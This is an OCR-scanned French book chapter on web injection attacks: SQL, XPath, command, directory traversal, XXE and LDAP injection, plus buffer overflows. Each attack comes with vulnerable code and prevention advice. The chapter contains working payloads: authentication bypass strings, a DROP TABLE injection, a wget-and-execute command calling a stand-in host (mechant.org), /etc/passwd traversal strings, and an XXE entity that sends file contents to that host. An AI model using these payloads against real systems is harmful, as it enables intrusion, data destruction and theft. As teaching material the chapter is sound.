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Attagues par injection
les plus communes

L es attaques par injection précédent de beaucoup le Web 2.0 et ellesy pullulent encore.
Pour couvrir correctement le propos de cet ouvrage, il convient d’ évoquer certaines des
plus anciennes (injection SQL ou de commandes) aux cotés de techniques plus modernes,
comme |'injection de X Path.

Fonctionnement des attaques par injection

Cette famille d’ agressions repose sur un unique probléme partagé par de nombreuses
technologies de maniére persistante: il n’existe aucune séparation stricte entre les
instructions d’ un programme et les données qu'y saisit un utilisateur. Par conséquent, [a
ou le développeur n’'attendait que d’ inoffensives données, des attaquants peuvent insi-
dieusement placer des instructions enjoignant au programme de réaliser des actions de
leur choix.

Pour réaliser une attaque par injection, il faut réussir a placer, dans des saisies classiques,
des données interprétées comme des instructions. Le succés de |’ opération repose sur
trois éléments :

m Identifier la technologie sur laquelle repose | application web. Les attaques par
injection dépendent beaucoup du langage de programmation ou du matériel impli-
qués. Pour cela, on peut explorer la situation ou se contenter de tester les attaques
par injection les plus communes. On peut deviner quelles technologies sont mises
en oauvre en inspectant les pieds de page, les textes en cas d’ erreur, le code source
HTML, et employer des outils comme Nessus, Nmap, THC-Amap ou d’ autres
encore.
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m Etablir laliste de toutes les saisies utilisateur possibles. Dans certains cas (formulaires
HTML), elles seront évidentes. Toutefois, il existe bien d’ autres maniéres d' interagir
avec une application web : manipuler des saisies cachées dans les formulaires,
modifier certains en-tétes HTTP (comme les cookies), voire des requétes AJAX
(Asynchronous JavaScript and XML) fonctionnant de maniére invisible en arriere-
plan. A peu prés toutes les données intervenant dans les requétes HTTP GET et POST
peuvent étre considérées comme des saisies utilisateur. Le recours a un mandataire
(proxy) web tel que WebScarab, Paros ou Burp pourra aider a repérer toutes les
saisies utilisateur dans une application web.

m Trouver lasaisie utilisateur vulnérable. Cela peut sembler difficile, mais les pages
d’ erreur des applications trahissent parfois bien des secrets en lamatiére.

Rien de tel qu’un exemple pour exposer les attaques par injection. L’ injection SQL ci-
apresillustre bien le sujet, tandis que les cas de figure qui la suivent détaillent la situation
en présence de tel ou tel langage ou matériel précis.

&\\Injection SQL
Popularité :

Smplicité:

Impact :

©| © 0 o

Evaluation du risque :

Le spectre des possibilités ouvertes par I'injection SQL est vaste : contournement de
I"authentification ou prise de contréle compléte des bases de données sur un serveur
distant.

SQL, le langage de requétes structuré (Sructured Query Language), standard de fait
pour " accés aux bases de données, sous-tend désormais la plupart des applications web
nécessitant e stockage de données persistantes ; il est donc probable qu’il anime aussi
vos sites préférés. A I'instar de celle de bien de langages, la syntaxe de SQL méle
instructions de bases de données et saisies utilisateur. Si le développeur n'y prend
garde, ces derniéres pourront étre interprétées comme des instructions et donner a un
attaquant distant la possibilité de réaliser les opérations de son choix sur la base de
données.

Imaginons ainsi une application web simple imposant une authentification. Un écran de
connexion y demandera un identifiant et le mot de passe associé, transmis par |’ utilisa-
teur atravers unerequéte HTTP, suite aquoi le programme les confronteraalaliste des
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identifiants et mots de passe acceptables — il s'agit en général d’ une table placée dans
une base de données SQL.

Un développeur pourra créer cette liste I’ aide de I’ instruction SQL suivante? :

CREATE TABLE user_table (
id INTEGER PRIMARY KEY,
username VARCHAR(32),
password VARCHAR (41)

);
Ce code SQL produit une table de trois champs. Le premier (id) stocke un numéro
d'identifiant? référencant un utilisateur authentifié dans la base de données. Le
deuxieme (username) précise son identifiant, arbitrairement limité a 32 caractéres au
plus. Quant au dernier, password, il renfermera un hachage (hash) du mot de passe
correspondant, car ¢’ est une mauvaise idée de stocker ce genre d’informations en clair.

La fonction SQL PASSWORD() réalise cette opération. Sous MySQL, elle produit un
résultat de 41 caractéres.

Pour authentifier un utilisateur, il suffit simplement de comparer les valeurs transmises
a chacun des enregistrements de cette table. Si I'un correspond aux deux a la fois,
I’ opération est réussie et le systeme sait quel numéro d’identifiant attribuer au candidat.
Supposons que ' utilisateur ait proposé I'identifiant MorduDeTechnol5 et le mot de
passe monMotDePasse. On trouvera |’ identifiant comme suit :
SELECT id FROM user_table WHERE username='MorduDeTechno15' AND
password=PASSWORD ( 'monMotDePasse')
Si untel utilisateur existe dans cette table de la base de données, cette commande SQL
renverra le numeéro d'identifiant associé. Dans le cas contraire, elle restera muette,
signifiant par laque I’ opération a échoué.

Il semble donc aisé d’ automatiser cette procédure. Prenons I’ extrait de code Java que
voici, lequel regoit I'identifiant et le mot de passe d'un utilisateur qu’il tente ensuite
d authentifier a1’ aide d’ une requéte SQL :

String username = req.getParameter("username");

String password = req.getParameter("password");

String query = "SELECT id FROM user_table WHERE " +

"username = '" + username + "' AND " +
"password = PASSWORD('" + password + "')";

1. N.D.T.: Laplupart des programmeurs travaillant en anglais, nous ne traduisons par les noms des
identifiantsintervenant dansles exemples de code. Au besoin, nous préciserons leur sensdans le texte.
2. N.D.T.: Attention a bien distinguer en frangais "numéro d’identifiant” (id en anglais) et "identi-
fiant" (username en anglais). Le premier est un entier qui joue un réle technique dans une table, le
deuxiéme est souvent une chaine plus facile aretenir pour I’ humain et véhiculant une certaine séman-
tique ; on parle aussi de "nom d’ utilisateur".
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ResultSet rs = stmt.executeQuery(query);

int id = At1; // la valeur A1 signale un utilisateur non authentifié

while (rs.next())
id = rs.getInt("id");

Lesdeux premiéreslignes extraient les saisies de larequéte HTTP. La suivante construit la
requéte SQL, qui est ensuite exécutée ; son résultat est alors collecté dans la boucle
while (). Si un couple de vaeurs correspond dans latable, son numéro d'identifiant est
renvoyeé. Dans le cas contraire, lavariable id reste alavaleur -1, dénotant un utilisateur
non authentifié.

On pourrait croire qu’ avec ce code I’ utilisateur est authentifié si, et seulement s, I’ iden-
tifiant et le mot de passe proposés sont reconnus. ..

...Et I'on aurait tort! Rien n’empéche un attaquant d’injecter des commandes
SQL dans les champs username OU password pour modifier le sens de larequéte SQL
exécuteée.

Revenons sur celle-ci :

String query = "SELECT id FROM user_table WHERE " +
"username = '" + username + "' AND " +
"password = PASSWORD('" + password + "')";

Ce code s attend a trouver des données dans les champs username €t password.
Toutefois, rien n’empéche un attaquant d'y placer les caractéres de son choix. Que se
passe-t-il en casdesaisiede '0R 1=1 -- pour le nom d utilisateur, avec le mot de passe x ?
Lachaine de requéte devient alors:

SELECT id FROM user_table WHERE username = '' OR 1=1 -- ' AND password

= PASSWORD('x"')
En syntaxe SQL, le tiret double (--) introduit un commentaire ; le programme ne tient
donc pas compte de tout ce qui suit, cette requéte est alors équivalente a:

SELECT id FROM user_table WHERE username = '' OR 1=1

Voila une instruction seLecT qui fonctionne bien différemment : elle renverra des
numéros d’identifiants dans le cas ou |’ identifiant est une chaine vide (' ') ou bien si un
égale un. Cette derniére condition étant toujours vérifiée, elle produiratousles numéros
d’'identifiants de latable user_table, dont le dernier seraretenu.

Dans cette situation, I’ attaquant a placé les instructions SQL (' 0rR 1=1 --) enlieu et
place des données dans |e champ username.
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Choix d'un code approprié d'injection SQL

Pour parvenir ainjecter du SQL, I’ attaquant doit transformer le code existant du déve-
loppeur en instructions valides. 1l est un peu difficile de travailler en aveugle, auss
proposons-nous des requétes généralement couronnées de succes :

B ' OR 1=1 --

B ') OR 1=1 --
Par ailleurs, de nombreuses applications web sont tres disertes en matiére de rapport
d'erreurs et autres informations de débogage. C'est ainsi qu’une tentative gratuite
optant pour ' OR 1=1 -- produit souvent des renseignements trés instructifst.

Error executing query: You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server version for the right

syntax to use near 'SELECT (title, body) FROM blog_table WHERE

cat="OR 1=1' at line 1
Voilaun message d' erreur qui reprend I’ intégralité de I’ instruction SQL. Dans ce casde
figure, on constate que la base de données attendait un entier et non une chaine, auss
I"injection 0R 1=1 --, non précédée d’ une apostrophe, produirale résultat escompté.

Avec la plupart des bases de données SQL, un attaquant peut placer d’un seul trait de
nombreuses instructions, pour peu que la syntaxe de chacune soit correcte. Pour e code
suivant, nous avons montré que lavaleur ' OR 1=1 - pour username €t x POUr password
renvoyait le dernier utilisateur :

String query = "SELECT id FROM user_table WHERE " +

"username "" 4+ username + "' AND " +
"password PASSWORD('" + password + "')";

Cependant, il est possible d'insérer d’ autres instructions. Ainsi, I"identifiant que voici :
' OR 1=1; DROP TABLE user_table; --
transformerait la requéte comme suit :

SELECT id FROM user_table WHERE username='"' OR 1=1; DROP TABLE
user_table; -- ' AND password = PASSWORD('x');

laquelle égquivaut a:

SELECT id FROM user_table WHERE username='' OR 1=1; DROP TABLE
user_table;

Cette commande réalise une instruction SELECT syntaxiquement correcte, avant de
détruire latable des utilisateurs user_table par I’instruction SQL DRoP.

1. N.D.T.: Nous laissons inchangés les extraits des sorties de programme et les traduisons dans les
notes. Ici, le message indique "Erreur dans I’ exécution de la requéte : votre syntaxe SQL n’est pas
correcte ; reportez-vous au manuel correspondant a votre version de MySQL pour savoir comment
exprimer 'SELECT (title, body) FROM blog table WHERE cat='OR 1=1',alalignel1.".
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L es attaques par injection ne sont pas toujours aveugles. De nombreuses applications
web sont développées al’aide d outils Open Source. Pour réussir plus facilement vos
attaques par injection, téléchargez gratuitement des versions complétes ou d’ évaluation
des produits et mettez en place votre propre systéme de test. Si vous parvenez a mettre
celui-ci en défaut, il y afort aparier que le méme probléme se pose sur toutes les appli-
cations employant le méme programme.

Q Prévention contre I'injection SQL

Le principal probléme demeure: les chaines ne sont pas correctement échappées! ou
gue les types de données ne sont pas contraints. Pour éviter une injection SQL, on
commencera par contraindre autant que possible ces derniers (si une saisie représente
un entier, on la traitera comme telle a chague fois qu'on s'y référe). Par ailleurs, on
échappera systématiquement les saisies des utilisateurs. Pour se protéger contre |’ atta-
gue donnée en exemple, il aurait simplement suffi d’échapper I’ apostrophe (" '") et la
barre oblique inversée ("\") en les précédant d’ une barre oblique inversée (respective-
ment, "\ '") et "\\"). Parfois, le reméde est toutefois bien plus complexe ; nous vous
recommandons par conséquent de rechercher la fonction d’échappement adaptée a
votre base de données.

De loin, la meilleure solution consiste a faire appel a des requétes préparées. Initiae-
ment destinées a optimiser les connecteurs de base de données, elles séparent stricte-
ment, a un trés bas niveau, les instructions SQL des données issues des utilisateurs. En
d’autres termes, un emploi correct des requétes préparées évite une fois pour toutes
d’interpréter toute saisie utilisateur comme des instructions SQL.

\Y/A
‘7\ Injection de XPath
Popularité:

Smplicité:

Impact :

0| © N O

Evaluation du risque

Lorsque I’ on choisit de stocker des données sensibles en XML plutét que dans une base
de données SQL, les attaguants peuvent s appuyer sur une injection de XPath pour
contourner une authentification comme pour inscrire des données sur le systéme
distant.

1. N.D.T.: En informatique, "échapper" en un sens transitif signifie "désactiver les caractéres ou
mots-clés actifs de'".
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Les documents XML deviennent si complexes qu'il est impossible deleslireal’ cal nu
—cequi éait initialement |’ un des avantages de cette technologie. Pour parcourir des
documents XML complexes, les développeurs ont créé XPath, langage de requétes
spécialisé, qui joue donc un rble comparable a celui de SQL dans |e contexte des bases
de données. Tout comme ce dernier, XPath pose des problemes d’injection.

Le document XML suivant renferme les numéros d’ identifiants, noms d’ utilisateurs et
mots de passe employés par une application web :

<?xml version="1.0" encoding="I1S0-8859-1"7?>
<users>
<user>
<id> 1 </id>
<username> admin </username>
<password> xpathr@@lz </password>
</user>
<user>
<id> 2 </id>
<username> testuser </username>
<password> test123 </password>
</user>
<user>
<id> 3 </id>
<username> lonelyhacker15 </username>
<password> mypassword </password>
</user>
</users>

Un développeur Java pourrait réaliser un programme d’ authentification comme suit :

String username = req.getParameter("username");
String password = req.getParameter("password");

XPathFactory factory = XPathFactory.newInstance();

XPath xpath = factory.newXPath();

File file = new File("/usr/webappdata/users.xml");
InputSource src = new InputSource(new FileInputStream(file));

XPathExpression expr = xpath.compile("//users[username/text()="' " +
username + " ' and password/text()=' "+ password +" ']/id/text()");

String id = expr.evaluate(src);

Ce programme charge le document XML et recherche le numéro d’identifiant associé a
au nom d' utilisateur et au mot de passe proposés. En supposant que ces valeurs soient
respectivement admin et xpathAssure, |a requéte X Path se présenterait comme suit :

//users[username/text()="'admin' and password/text()="'xpathr00lz']/id/
text()
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On remarquera que cette saisie utilisateur n’ est pas échappée dans le code Java, de sorte
qu’ un attaquant pourray insérer toute donnée ou instruction X Path souhaitée. En choi-
sissant pour mot de passe”' or '1'='1", laregquéte deviendrait alors:
//users[username/text()='admin' and password/text()='"' or '1'='1' ]1/id/
text()
Cette instruction renverrale numéro correspondant al’ identifiant admin et qui en outre,
soit dispose d’un mot de passe vide (cas de figure hautement improbable), soit vérifie
"un égale un" — ce qui est toujours veérifié. Par conséquent, I'injectionde ' or '1'="1
renvoie I'ID de I’ administrateur sans que |’ attaquant n’ ait besoin d’ en connaitre e mot
de passe.

Signalons que XPath est un sous-ensemble d’un langage XML de requétes plus large,
appelé XQuery. Comme XPath et SQL, ce dernier souffre de problémes d’injection
comparables. Si vous connaissez un peu sa syntaxe, vous devriez, aprés avoir lu ce
chapitre, en savoir assez pour tenter également des injections en XQuery.

Prévention contre l'injection de XPath

L e reméde adapté ressemble de prés a celui traitant les injections de SQL : contraindre
les types de données, échapper les chaines. Dans le cas présent, on procede en codant
desentitéesHTML — I’ apostrophe devient ainsi &apos ;. Commeon I’adéjaconseillé, on
retiendra la fonction d’ échappement la plus adaptée a la bibliotheque X Path employée,
la réponse dépendant des implémentations.

\Yi
‘7 Injection de commandes

Popularité : 8
Smplicité:

Impact : 10
Evaluation du risque : 10

Une injection de commande réussie donne a I’ attaquant le contréle complet d'un
systeme distant.

Quand une commande systéme implique en partie une saisie utilisateur, une attaque est
susceptible d'y injecter des instructions arbitraires. Tous les langages de programma-
tion sont concernés, mais on observe souvent cela dans les scripts CGI écrits en Perl,
PHP et shell — moins en Java, Python ou C#. Examinons |’ extrait de code PHP suivant :

<?php
$email_subject = "some subject";
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if ( isset($_GET['email']))
system("mail " + $ GET['email']) + " -s '" + $email_subject +
"' < /tmp/email body", $return_val);

2>

L’ utilisateur transmet son adresse éectronique dans le paramétre email, saisie reprise
ensuite telle quelle dans une commande systéme. Comme dans le cas d’ une injection
SQL, I’ objectif de I' attaguant consiste a insérer une commande shell dans cette valeur
tout en garantissant une syntaxe correcte au code qui la précéde et qui la suit. On peut
sereprésenter I’ appel system() comme un puzzle, aux piéces extérieures déjaen place,
et dont il s agit de combler un vide pour lefinir :

mail [PIECE MANQUANTE DU PUZZLE] -s 'un sujet' < /tmp/email_ body

Cette piéce du puzzle doit garantir un bon fonctionnement ala commande mail, qui se
conclura avec succes — c'est par exemple le cas de mail -help. L’ attaquant insérera
ensuite des commandes shell complémentaires qu’il séparera par des points-virgules
(";"). Sur I'autre extrémité du vide a combler, il suffit de commenter la fin de la ligne
al’aide du caractére approprié dans le cas du shell (#). Une attague par injection
susceptible de fonctionner pourrait donc se présenter comme suit :

--help; wget http://mechant.org/cheval de troie; ./cheval de troie #

Insérée au reste de la commande, cette piéce du puzzle produit la séquence shell que
VOICi :

mail --help; wget http://mechant.org/cheval_de_troie;

./cheval de_troie # s 'un sujet' < /tmp/email body
équivalente a:

mail --help; wget http://mechant.org/cheval_de_troie; ./cheval_de_troie

Celaexécute mail -help avant de télécharger le programme cheval de_troie depuis
le site mechant.org, €t de |’ exécuter. L’ attaquant peut ainsi exécuter des commandes
arbitraires sur le site web compromis.

Prévention contre l'injection de commandes

A nouveau, les mécanismes de protection rappellent le cas de figure de |’ injection SQL.
Le développeur doit échapper les saisies utilisateur de maniére appropriée avant
d’ exécuter une commande les mentionnant. On pourrait penser qu’il suffit d’ échapper
le point-virgule (";") par une barre oblique inversée ("\;") pour résoudre la question.
Cependant, |’attaquant pourrait employer une double esperluette ("&&") voire une
double barre verticale (" | |") pour réaliser ses méfaits. Les programmeurs s’ appuieront
donc de préférence sur une fonction d’ échappement adaptée au shell plutdt que de réin-
venter laleur.
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‘— Attaques par traversée de repertOIres

Popularité: 9
Smplicité: 9
Impact : 8
Evaluation du risque : 8

Les attaquants emploient les attaques par traversée de répertoires pour accéder a des
fichiers arbitraires sur les serveurs web — comme ceux abritant les clés privées SSL ou
les mots de passe.

Certaines applications web ouvrent desfichiers dont le nom leur est donné par des para-
métres HTTP (donc des données utilisateur). Examinons I’ extrait de code PHP suivant,
qui affiche un fichier en de nombreuses langues :

<?php

$language = "main-en";

if (is_set($_GET[ 'language']))

$language = $_GET[ 'language'];

include("/usr/local/webapp/static_files/" . $language . ".html");

2>
On suppose que cette page PHP est accessible a I’ adresse http: //foo.com/webapp/
static.php?language=main-en ; un attaguant pourrait lire desfichiers de son choix sur
le serveur en insérant une chaine forgée pour renvoyer ailleurs lafonction d’inclusion.
Ainsi, avec larequéte GET suivante:

http://foo.com/webapp/static.php?language=../../../../etc/passwd%00
lafonction d'inclusion ouvrirait le fichier indiqué :
/usr/local/webapp/static_files/../../../../etc/passwd
En d’autrestermes, il s agit simplement de:
/etc/passwd

Par conséquent, la requéte GET renverrait le contenu du fichier /etc/passwd sur le
serveur. Soulignons la présence de I’ octet nul (%00), qui cl6t la chaine, de maniére a
éviter la prise en compte du suffixe . html sur le cbté droit du nom de fichier.

On appelle cela une attaque par traversee de répertoire, technique qui a fait souffrir
bien des serveurs web pendant un certain temps, car |es attaquants pouvaient coder dans
I’URL lesportions”. . /" de diverses maniéres :
B %2e%2e%2f
B %2e%2e/
m . %2f
B .%2e/
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Q Prévention contre les attaques par traversée de répertoires

De nos jours, certains frameworks applicatifs du Web protégent automatiquement
contre ce genre dagressions. Ainsi, PHP active par défaut le réglage
magic_quotes_gpc, lequel échappe "magiquement” les caracteres douteux dans les
requétes GET, POST et les cookies en les préfixant d une barre oblique inversée (anti-
dlash). Par conséquent, la barre de division " /" se transforme en "\ /", ce qui met fin a
I’agression. D’autres environnements ne proposent pas de mécanismes de défense
généraux, ' est dlors au développeur d' établir son propre bouclier contre ces problémes.

Pour protéger votre application contre toute attague par traversée de répertoires, établis-
sez une liste blanche des fichiers acceptés — en somme, refusez toutes les saisies utili-
sateur ne relevant pas d’ un sous-ensemble réduit, comme suit :

<?php
$languages = array('main-en','main-fr','main-ru');
$language = $languages[1];
if (is_set($_GET[ 'language'l]))
$tmp = $ GET[ 'language'];
if (array_search($tmp, $languages))
$language = $tmp;
include("/usr/local/webapp/static_files/" . $language . ".html");
?>

‘bAttaques XXE (XML eXternal Entity)

Popularité: 4
Smplicité: 9
Impact : 8
Evaluation du risque : 8

A I'image des attagues par traversée de répertoire, les attagues par entités XML externes
permettent a1’ agresseur de lire des fichiers de son choix sur le serveur — et notamment
ceux qui stockent des clés privées SSL ou les mots de passe.

"Fonctionnalité" peu connue de XML, les entités externes permettent aux dével oppeurs
de définir leurs propres entités XML . Really Smple Syndication est une grammaire de
XML ; cet exemple de document RSS définit |’ entité auteur "&author;" avant de la
reprendre plusieurs fois dans la page :

<?xml version="1.0" encoding="I1S0-8859-1"7?>
<!DOCTYPE foo [
<!ENTITY author "Lapin Pelucheux">
1>
<tag>&author;</tag>
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On peut encore définir des entités qui lisent des fichiers systéme. Ainsi, quand un analy-
seur syntaxique (parser) XML parcourt le document RSS qui suit, il y remplacera
"&passwd;" OU "&passwd2;" par " /etc/passwd" :

<?xml version="1.0" encoding="I1S0-8859-1"7>
<!DOCTYPE foo [
<!ENTITY passwd SYSTEM "file:/etc/passwd">
<!ENTITY passwd2 SYSTEM "file:///etc/passwd">
1>
<rss version="2.0">
<channel>
<title>Mon flux RSS d'attaque présentant /etc/passwd</title>
<description>ceci est file:/etc/passwd: &passwd; et ceci est
file:///etc/passwd: &passwd2;</description>
<item>
<title>/etc/passwd</title>
<description>file:/etc/passwd: &passwd; file:///etc/passwd:
&passwd2;</description>
<link>http://example.com</link>
</item>
</channel>
</rss>

Pour exploiter cette faiblesse, ' attaguant se contente de placer ce fichier RSS sur son site
web et d' intégrer ce flux RSS dans quelque agrégateur en ligne. Si ce dernier est vulnérable,
I” attaquant en recevrale contenu du fichier /etc/passwd dans son flux RSS.

Il suffit parfois de mettre en ligne un fichier XML pour que celui-ci renvoie les informa-
tions obtenues a I’ attaquant — idéal dans le cas d' agressions contre des systémes serveurs
ou I’ on ne pourrajamais observer la sortie produite. On crée une premiére entité chargeant
un fichier sensible sur le serveur (disons, "c: \boot.ini"), puis une autre entité accédant a
une URL sur le site de | attaguant en y intégrant la précédente, comme suiit :

<?xml version="1.0" encoding="I1S0-8859-1"7?>
<IDOCTYPE doc [
<!ENTITY bootini SYSTEM "file:///C:/boot.ini ">
<!ENTITY sendbootini SYSTEM "http://mechant.org/getBootIni?&bootinij;">
1>
&sendbootini;
De maniére évidente, cette attaque est susceptible de dévoiler le contenu de n’importe
quel fichier situé sur le serveur web exposé. D' ailleurs, celan’est en rien limité aux flux
RSS; on peut |’ adapter a toutes les applications web acceptant des documents XML
avant de les analyser.

Un nombre éonnant d’ applications web intégre des flux RSS sans vraiment y avoir
réfléchi. Elles sont vulnérables a ce genre d’ attaques.
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Prévention contre les attaques XXE

Pour se protéger contre les attaques XXE, il suffit d'indiquer al’analyseur syntaxique
de XML employé d'interdire toute entité externe. La méthode adaptée dépend du
programme : par défaut, JAXP et Xerces ne résolvent pas ce type d' entités, tandis que
les développeurs LibXML devront explicitement désactiver |e dével oppement des entités
par un appel aexpand_entities(0);.

&\\Injection de LDAP
Popularité :

Smplicité:

Impact :

ol ol o0 N

Evaluation du risque :

En générdl, les attagues par injection de LDAP permettent aux utilisateurs d' une organisa-
tion d’ accéder adesinformations privées. Souvent, elles ne sont pas réaisables sur Internet.

Le protocole LDAP (Lightweight Directory Access Protocol) permet de gérer et de
stocker des ressources et utilisateursréseau. En particulier, il incorpore les autorisations
d accés aux ordinateurs et autres ressources. Certaines applications web reprennent des
saisies utilisateur non "assainies’ dans le cadre de requétes LDAP.

Prenons le cas d’une application web qui réclame un identifiant avant de réaliser une
requéte LDAP pour en afficher le nom usuel (common name ou cn) et le numéro detélé-
phone. Larequéte que voici :

http://intranet/ldap_query?user=rgc
renvoie, par exemple, ceci :

cn: Richard Cannings
telephoneNumber: 403-555-1212

L’instruction LDAP responsable de ce traitement se résume a:

filter = (uid=rgc)

attributes = cn, telephoneNumber
Cependant, on peut construire des filtres plus élaborés al’ aide d’ opérations bool éennes
commele OU inclusif (|) ou encore le ET (&) portant sur divers attributs comme cn, dn,
sn, objectClass, telephoneNumber, manager, €fC. Les requétes LDAP emploient la
notation polonaise (dite aussi préfixe), plagcant les opérateurs a gauche de leurs opérandes.
D’ autre part, LDAP accepte le symbole de joker (*). Une requéte LDAP plus complexe
pourradonc avoir I’ alure suivante :

filter = (&(objectClass=person) (cn=Rich*) (| (telephoneNumber=403*) (
telephoneNumber=415%*)))
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Cette requéte trouve toutes les personnes dont le nom usuel débute par Rich et le
numeéro de téléphone releve des codes de zones 403 ou 415.

Pour injecter desrequétes L DAP arbitraires dans une application web vulnérable, il faut
construire une requéte LDAP différente mais valide. Si cette requéte HTTP :

http://intranet/ldap_query?user=rgc
créelefiltre suivant :
(uid=rgc)

il faut imaginer un filtre LDAP valide débutant par (uid=" et se concluant par ")". Pour
exécuter une requéte d’' annuaire inverse (et découvrir le nom de la personne associée a
un numéro de téléphone), on pourrait par exemple procéder comme suit :

http://intranet/ldap_query?user=*) (| (telephoneNumber=415-555-1212)
Celaproduit larequéte :
(uid=*) (| (telephoneNumber=415-555-1212))

Une autre requéte intéressante consiste & découvrir toutes les classes d’ objet (object-
Class) existantes. On peut procéder comme suit :

http://intranet/ldap_query?user=*) (| (objectClass=*)
ce qui produit larequéte :

(uid=*) (| (objectClass=*))

Prévention contre l'injection de LDAP

Pour éviter de préter |e flanc ace type d’ attaques, il suffit simplement d’ établir uneliste
blanche des caractéres autorisés : on acceptera donc tout ce qui est alphanumérique
(a-z, A-z, _ et 0-9), et uniqguement cela.

!

Z
=~

" Dépassements de tampons

Popularité: 8
Smplicité: 2
Impact : 10
Evaluation du risque 9

L es dépassements de tampons (buffer overflows) représentent I’ une des attaques par injec-
tion les plus complexes, car elles exploitent une mauvaise utilisation de la mémoire par les
développeurs. Comme pour les injections de commandes, un dépassement de tampon
couronné de succes donnera al’ attaquant le contrdle complet de la machine distante.
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— INFO

Cette section vise a transmettre une certaine intuition des dépassements de tampons, sans
vraiment détailler ceux-ci d'un point de vue technique. Pour cela, vous vous reporterez a
différents textes et articles, comme le classique Smashing The Stack For Fun And Profit
d’Aleph One publié dans le magazine Phrack (www.phrack.org/archives/49/P49-14).

Certains langages de programmation, comme C et C++, chargent le développeur des
questions de gestion de mémoire. Si celui-ci n'y prend garde, les saisies utilisateur
pourront s'inscrire dans une zone de la mémoire non prévue pour — et notamment
I’ adresse de retour d’une pile. On'y trouve les coordonnées de I’ emplacement mémoire
renfermant le prochain bloc d'instructions machine a exécuter. Si une application web
préte le flanc au dépassement de tampon, un attaguant pourra lui transmettre une trés
longue chaine — plus grande que ce que le développeur avait imaginé. Cette derniere est
alors susceptible d' écraser I’ adresse de retour, indiquant a |’ application web quelles
instructions machine exécuter ensuite. Les dépassements de tampon relevent des atta-
ques par injection car |’ agresseur insére des instructions machine (appel ées shellcode)
dansd autres saisies. Il lui faut savoir ou celles-ci aboutiront danslamémoire del’ ordi-
nateur exécutant |’ application web. Il lui est alors possible d’ écraser | adresse de retour
pour pointer vers |’ emplacement mémoire du shellcode.

L es dépassements de tampons, difficiles a exploiter, sont plus aisés a découvrir, parti-
culiérement sur une machine locale. 1l suffit de transmettre de trés longues chaines lors
de toutes les saisies utilisateur. Nous suggérons d'opter pour des chaines faciles a
prédire (comme 10 000 A majuscules) dans toutes les entrées. Si le programme plante,
c'est probablement & cause d' un dépassement de tampon. On reproduira le plantage
dans un débogueur, ou I’ on inspectera alors les registres du programme. L’ apparition de
41414141 (41 étant la représentation hexadécimale du code ASCII de la lettre A
majuscule — 65) dans le registre sp est la signature d’ un dépassement de tampon.

Il est bien plus difficile de découvrir des dépassements de tampons sur des machines
distantes, comme des applications web, car les attaguants n’ ont pas acces au contenu de
leurs registres — et il N"est méme pas toujours facile de détecter un plantage d’un tel
programme. Dans ce cas de figure, on recourra aux astuces suivantes :

1. Identifier les hibliothéques ou portions de programmes librement disponibles
employés par |’ application web.

2. Télécharger le code correspondant.
3. Tester celui-ci sur lamachine locale pour y découvrir un dépassement de tampon.
4. Développer un exploit qui fonctionne sur la machine locale.

5. Tenter de reproduire celui-ci sur |I” application web.
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Prévention contre les dépassements de tampons

Lasolution la plus facile consiste a éviter tout dével oppement d’ applications web fron-
talesen C ou en C++. Le gain en vitesse est négligeable devant les latences introduites
par les communications sur Internet. Si vous devez absolument vous reposer sur des
programmes écrits en C ou en C++, minimisez la quantité de code employé et réalisez
des contréles de correction sur toutes les saisies utilisateur avant de les transmettre aux
codes dérivés C et C++.

Si vous ne pouvez éviter de programmer en C ou en C++, quelques précautions
élémentaires vous protégeront contre les dépassements de tampons — comme choi-
sir de compiler le code en activant la protection de pile. Dans Visual Studio, on
emploieraainsi le drapeau /GS, tandis que les utilisateurs de GCC disposant de SSP
(parfois appelé ProPolice) feront appel al’ option de ligne de commande --fstack-
protector.

Tests de I'exposition a des injections

Apres avoir compris les idées principales des injections de SQL, LDAP, XPath et de
commandes du systéme d’ exploitation, il est important que vous testiez vos applica-
tions web pour contrbler leur sécurité. Bien des méthodes permettent de découvrir des
failles d'injection potentielles. La section suivante décrit une méthode automatisée
testant la robustesse d’ une application web face aux techniques d'injection de LDAP,
XPath, XQuery et commandes shell, reposant sur un outil d'évaluation de la sécurité
des applications web proposé par i SEC et appel é SecurityQA Toolbar. Les dével oppeurs
et testeurs en assurance qualité y recourent souvent pour mettre a |’ épreuve la sécurité
de I’ensemble d’' une application ou de | une de ses sections. Pour en savoir plus sur ce
produit, rendez-vous al’ adresse www.isecpar tner s.com.

Tests automatisés avec SecurityQA Toolbar d'iSEC

Rechercher d' éventuelles failles d’'injection peut s avérer peu pratique et complexe
dans le cas d' une énorme application web présentant divers visages. Pour s’ assurer
gue I’ application web recoit |’ attention qu’ elle mérite en matiére de sécurité, Securi-
tyQA Toolbar d'iSEC Partners propose d en tester les champs de saisie page par
page au lieu d'imposer I’examen de I'’ensemble de |’ application. Cette méthode,
parfois un peu plus longue, produit de puissants résultats car |’ accent du test est mis
sur chague page, cela en temps réel. Pour rechercher des soucis de sécurité en
matiere d'injection, suivez les étapes suivantes :

1. Rendez-vous sur www.isecpartners.com pour télécharger une copie d'essai du
produit.
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2. Aprés avoir installé la barre d’ outils sous Internet Explorer 6 ou 7, dirigez-vous sur
I” application web depuis ce navigateur.

3. Dans |’ application web, visitez |a page que vous vous proposez de tester. Choisissez
alors Data Validation | SQL Injection (validation de données | injection SQL) dans
SecurityQA Toolbar (voir Figure 1.1).

4. Le programme SecurityQA Toolbar contréle automatiquement |es problemes poten-
tielsd'injection SQL sur lapage actuelle. Pour observer le déroulement de I’ exécution
du test, cliquez sur le bouton de développement (le dernier adroite) avant d’ opter
pour I’option SQL Injection. Ce dernier présentera en temps réel les formulaires
vulnérables aune injection SQL.

a iSEC Partners, Inc. | iSEC Partners - Microsoft Internet Explorer f _|E||5|

File Edt VWiew Favorites Tools  Help ‘ ﬁ'
pr e

0 Back ~ i - D @ \'_b ‘ p Search N Favorites @ |

Address IE htep: ) v isecpartners. comf j

iSEC Partners: SecurityCid Toolbar H Data Yalidation = | Session Management » | WebServer Controls » | CodeHanding | Reports » | Cptions = | » ' ‘&' | 3

S5QL Injection Y

Blind 5L Injection
LDAP Injection

8 ‘ ABOUT US NEWS CONTALTUS |
l APATH Injection ® Search

WQUERY Injection

A RT N [ K¥ML Injection

551 Injection
m 03 Commanding

m RESEARCH | BLACK HAT | PRODUCTS SPEAKING ENGAGEMENTS

Figure 1.1
Le programme SecurityQA Toolbar en cours d’utilisation dans IE.

5. Unefoisletest fini (sur la page actuelle, une barre de progression située dansle coin
inférieur droit du navigateur I’indique), rendez-vous ala page suivante de |’ application
(ou toute autre page que I’ on souhaite tester) avant de répéter |’ étape 3.

